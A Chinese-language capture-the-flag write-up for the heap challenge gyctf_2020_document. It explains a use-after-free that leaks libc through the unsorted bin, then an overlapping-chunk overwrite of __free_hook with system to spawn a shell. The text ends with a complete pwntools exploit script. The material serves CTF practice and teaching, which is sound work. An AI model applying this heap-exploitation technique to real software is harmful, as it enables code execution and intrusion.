gyctf_2020_document
- 例行检查,64位程序,保护全开
- 漏洞在free chunk的时候
- 简单看一下其他几个功能函数
add()
像我这样的新手,可以申请几个chunk看一下,方便理清楚堆的内部情况,为了方便描述,我就把蓝色的地方叫做chunk0-1,红框中剩余部分叫chunk0-2
show(),根据存放在bss段的0x202060堆指针数组来输出对应的chunk里的值
edit()
利用思路
-
申请一个chunk,释放掉,在show,由于存在uaf,利用unsortbin来泄露libc
-
泄露libc后,由于第一个chunk被释放了,并且edit函数编辑的是chunk+0x10的偏移位置,所以我们再申请两个chunk, 这个时候,我们就可以发现idx为0的头部chunk指向了,idx为3的头部chunk的pre_size位,这时候已经overlap了,所以直接覆盖chunk3指向堆的那个偏移,并且要与free_hook或者malloc_hook的偏移相差0x10
-
经过调试发现free_hook周围都是0,覆盖了free_hook为system
-
释放chunk1拿到shell
利用过程
- 泄露libc
add('1'+'\x00'*7, 'W'+'\x00'*7, 'a'*0x70)#0
add('2'+'\x00'*7, 'w'+'\x00'*7, 'b'*0x70)#1
#gdb.attach(p)
delete(0)
show(0)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b20-88
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。
- 构造重叠堆(overlap)
add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70)#2
delete(1)
add('/bin/sh\x00', '/bin/sh\x00', 'd'*0x70)#3
3. 由于edit修改的是chunk+0x10处的地址里的值,所以不能直接指向free_hook,应该指向free_hook距离0x10处的地方,然后修改free_hook为system即可
payload=p64(0)+p64(0x21)+p64(free_hook_addr-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8
edit(0,payload)
edit(3,p64(system_addr)+p64(0)*13)
完整exp
from pwn import *
#p = remote("node3.buuoj.cn", 28968)
p = process("./gyctf_2020_document")
context.log_level = 'debug'
elf = ELF("./gyctf_2020_document")
libc = ELF('./libc-2.23(64).so')
def add(name, sex, content):
p.recvuntil('Give me your choice : \n')
p.sendline('1')
p.recvuntil("input name\n")
p.send(name)
p.recvuntil("input sex\n")
p.send(sex)
p.recvuntil("input information\n")
p.send(content)
def delete(index):
p.recvuntil('Give me your choice : \n')
p.sendline('4')
p.recvuntil("Give me your index : \n")
p.sendline(str(index))
def show(index):
p.recvuntil('Give me your choice : \n')
p.sendline('2')
p.recvuntil("Give me your index : \n")
p.sendline(str(index))
def edit(index, content):
p.recvuntil('Give me your choice : \n')
p.sendline('3')
p.recvuntil("Give me your index : \n")
p.sendline(str(index))
p.recvuntil("Are you sure change sex?\n")
p.send('N\n')
p.recvuntil("Now change information\n")
p.send(content)
add('1'+'\x00'*7, 'W'+'\x00'*7, 'a'*0x70)#0
add('2'+'\x00'*7, 'w'+'\x00'*7, 'b'*0x70)#1
#gdb.attach(p)
delete(0)
show(0)
offset=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b20-0x58
free_hook=libc.symbols['__free_hook']
free_hook_addr=free_hook+offset
system_libc=libc.symbols['system']
system_addr=system_libc+offset
#gdb.attach(p)
add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70)#2
delete(1)
add('/bin/sh\x00', '/bin/sh\x00', 'd'*0x70)#3
#gdb.attach(p)
payload=p64(0)+p64(0x21)+p64(free_hook_addr-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8
edit(0,payload)
#gdb.attach(p)
edit(3,p64(system_addr)+p64(0)*13)
#gdb.attach(p)
delete(1)
p.interactive()